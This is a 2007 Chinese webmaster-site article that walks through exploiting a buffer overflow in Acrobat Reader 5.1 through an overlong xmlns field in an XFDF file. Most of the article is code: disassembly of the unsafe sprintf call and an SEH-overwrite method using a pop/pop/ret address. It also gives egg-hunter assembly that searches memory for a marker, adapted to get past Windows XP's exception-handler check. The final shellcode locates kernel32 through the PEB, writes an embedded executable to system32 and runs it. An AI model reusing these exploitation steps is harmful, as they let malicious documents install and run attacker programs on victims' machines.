站长中国
设为首页 | 站长论坛

站长论坛 站长下载
您所在的位置: 站长中国 > 站长学院 > 安全技术 > 其他相关 >  正文

Acrobat Reader5.1溢出漏洞分析
  2007年10月15日03:55:25  评论(0条) 字体:[ ]
相关热点:

信息来源:MOTO

只对Acrobat Reader 5.1有效
在一个xdf文件里放入一个超长的<xfdf xmlns>段,会造成溢出

问题代码
001B:2200E249 55 PUSH EBP
001B:2200E24A 8BEC MOV EBP,ESP
001B:2200E24C 81EC40010000 SUB ESP,00000140 //分配0x140长度
001B:2200E252 53 PUSH EBX
001B:2200E253 56 PUSH ESI
001B:2200E254 57 PUSH EDI
001B:2200E255 6A01 PUSH 01
001B:2200E257 6A05 PUSH 05
001B:2200E259 33DB XOR EBX,EBX
001B:2200E25B FF7508 PUSH DWORD PTR [EBP+08]
001B:2200E25E 8D4DFC LEA ECX,[EBP-04]
001B:2200E261 895DFC MOV [EBP-04],EBX
001B:2200E264 E839470500 CALL 220629A2
001B:2200E269 A1542D0A22 MOV EAX,[220A2D54]
001B:2200E26E 53 PUSH EBX
001B:2200E26F FF75FC PUSH DWORD PTR [EBP-04]
001B:2200E272 FF5064 CALL [EAX+64]
001B:2200E275 59 POP ECX
001B:2200E276 59 POP ECX
001B:2200E277 50 PUSH EAX
001B:2200E278 8D85C0FEFFFF LEA EAX,[EBP-0140]
001B:2200E27E 682C4D0922 PUSH 22094D2C
001B:2200E283 50 PUSH EAX
001B:2200E284 FF1564F20822 CALL [MSVCRT!sprintf] //不安全调用sprintf造成溢出
001B:2200E28A 83C40C ADD ESP,0C
001B:2200E28D 8D85C0FEFFFF LEA EAX,[EBP-0140]
001B:2200E293 50 PUSH EAX
001B:2200E294 FF15FCF00822 CALL [KERNEL32!OutputDebugStringA]
001B:2200E29A FF75FC PUSH DWORD PTR [EBP-04]
001B:2200E29D 8B7510 MOV ESI,[EBP+10]
001B:2200E2A0 56 PUSH ESI
001B:2200E2A1 E8D7110000 CALL 2200F47D //call里面会产生异常

分配缓冲区为0X140大小,spfintf时没有做长度检查,导致溢出。可以覆盖ret和异常处理函数
最近的ret在2200e697,相差上千字节,太远,不考虑

于是覆盖异常处理地址,异常处理函数链表
12ed30
12ef3c
12f0e0
12f598
12ff04
12ffb0
12ffe0

覆盖第一个函数12ed30,改为pop esi,pop eax,ret(5e 5f c3)的地址774a295a,之前的4个字节改为
push ecx 51
pop ecx 59
pop eax 58 //这里正好把context的头指针给了eax,后面会用到
push 774a295a 68 //这里正好把返回地址774a295a跳过,运行后面的指令
跳过774a295a之后,是shellcode
经过几次JAE跳转,跳到不限制可见字符的地方,只有160个字节左右可用,用这段字节来搜索内存,标志为LLEE,找到真正的shellcode(放在xdf文件后面)

搜索内存代码1
jmp excep1

excep2:
mov ecx,fs:[0] //接管异常
push ecx
mov fs:[0],esp
mov edx,0x45454c4d //LLEE
dec edx
mov eax,esi

next:
inc eax //搜索内存
cmp [eax],edx
jz find
jmp next

find:
add eax,4 //找到,跳转
jmp eax

excep1:
call excep2

mov edx,[esp+0xc]
xor ebx,ebx
mov bl,1
shl ebx,0x0c
add [edx+0xb0],ebx
xor eax,eax
ret

经实验发现这种搜索内存的方法在XP下不起左右,因为XP的异常处理比2K多了一个检测,
001B:77F978D1 8B4304 MOV EAX,[EBX+04] //EAX为异常结构链的第一个函数的地址,即上面的excep1
001B:77F978D4 3B45FC CMP EAX,[EBP-04]
001B:77F978D7 7209 JB 77F978E2
001B:77F978D9 3B45F8 CMP EAX,[EBP-08] //[EBP-08]为0x00140000,是从FS:[4]中取出,stackbase
001B:77F978DC 0F82A8000000 JB 77F9798A //可见当异常处理函数小于stackbase时,将不会调用函数(栈不可执行?)

所以为了兼容XP改用以下搜索内存的方法来完成

mov edx,[esp+8] //esp+8正好是以前的异常结构链的第一个链
mov fs:[0],edx //因为此时fs:0已经被系统自动修改了,所以这里将原来的处理函数放入FS:0,这样发生异常是还回到这里
mov eax,[eax+0xb0] //[eax+0xb0]是context.eax,经过之前的几次pop和push,此时eax正好指向原来的esp+c,即context
mov edx,0x45454c4d //之后正常搜索,当搜索到无效页面时,还会回到这里,此时将eax加0x1000,继续搜索
dec edx
add eax,0x1000
next:
inc eax
cmp [eax],edx
jz find
jmp next
find:
add eax,4
jmp eax


找到真正的SHELLCODE后,通过PEB得到KERNEL32.DLL的基址(98下需要另外处理),之后得到各个API的地址
mov eax,fs:0x30
mov eax,[eax+0x0c]
mov esi,[eax+0x1c]
lodsd
mov eax,[eax+0x08]
之后打开自身文件,通过指定的文件偏移,将exe文件存入system32p.exe,并执行。


责任编辑:

收藏本文 打印 打印本文  推荐本文 告诉好友 投稿 投稿邮箱
    评论加载中…

站长排行

学院

新闻

专栏

盈利

[揭密网络黄链]中国留学生买凶专破日本
JSP语法(6)
超强弹出窗口代码,什么都挡不住
FLASH视觉特效实例之地震效果
贴吧发帖机使用教程(绝对原创)
关于数据分页(转自www.codeproject.co
ASP实现文件直接下载
Photoshop制作光感超酷效果水晶球
 遍历ASP.NET页面控件
永远的后门[经典]+查不出的后门
淘宝网卖家公然叫卖“艳照门”照片集
驳《百度Hi面世对腾讯有利》
Google绿色专家质疑黑色背景网页节省资
国内各IT企业办公环境揭秘(多图)
阿里妈妈广告卖主全攻略
站长创业源动力 主流站长站赏析
推荐阅读:80年小子的创业道理
Discuz!6.0猛将出击 最强论坛程序酷炫
我的网络,我的团队:专访李文明
百度新闻频道改版十天 流量止跌反弹翻
ECSHOP模板制作参考文档
悬挂阿里妈妈会否被百度惩罚
阿里妈妈是否是中小站长的救世主?
最强网店ECShop发新版 众多酷炫功能给
ECSHOP模板下载
土豆网,优酷网,爆米花等视频网站采集
DedeCms模板安装/制作概述
网上商店系统巅峰对决 ECShop vs ShopE
艰难的走在创业的路上 第一天
编程中国全站采集规则
性福联盟 一个不尊重站长的联盟
大脚:日赚100元—揭露最新firefox欺骗
大脚:垃圾站超级赚钱法之二—突破“站
大脚:垃圾站超级赚钱法之——前言
迅雷联盟、快车联盟收入对比
经理人必看的十个管理网站
Google Adsense的秘密 第二版
西联汇款兑付城市查询
不用SEO取得成功的10个步骤
关于做GOOGLE的五条经验
站长学院  网页设计 建站教程 图形图象 网络编程

Photoshop CS3
Photoshop CS3
不用Photoshop
不用Photoshop

DIV+CSS的开发方式 听听另外的
虚拟主机建站动易里快速生成的
VBScript特效代码 满屏幕乱跑
牛气!一个菜鸟站长的超强网站
创建、维护一个个人博客的“投
让网站流量稳步飙升的秘籍
网站推广的基本思想

新闻线索

如果你有站长界人事变动、重组并购、变革技术出现,以及产品投诉等重要新闻线索,请告诉我们,我们会给予特别关注。
0631-3653338
站长中国编辑部
站长中国24小时新闻热线: 13256307008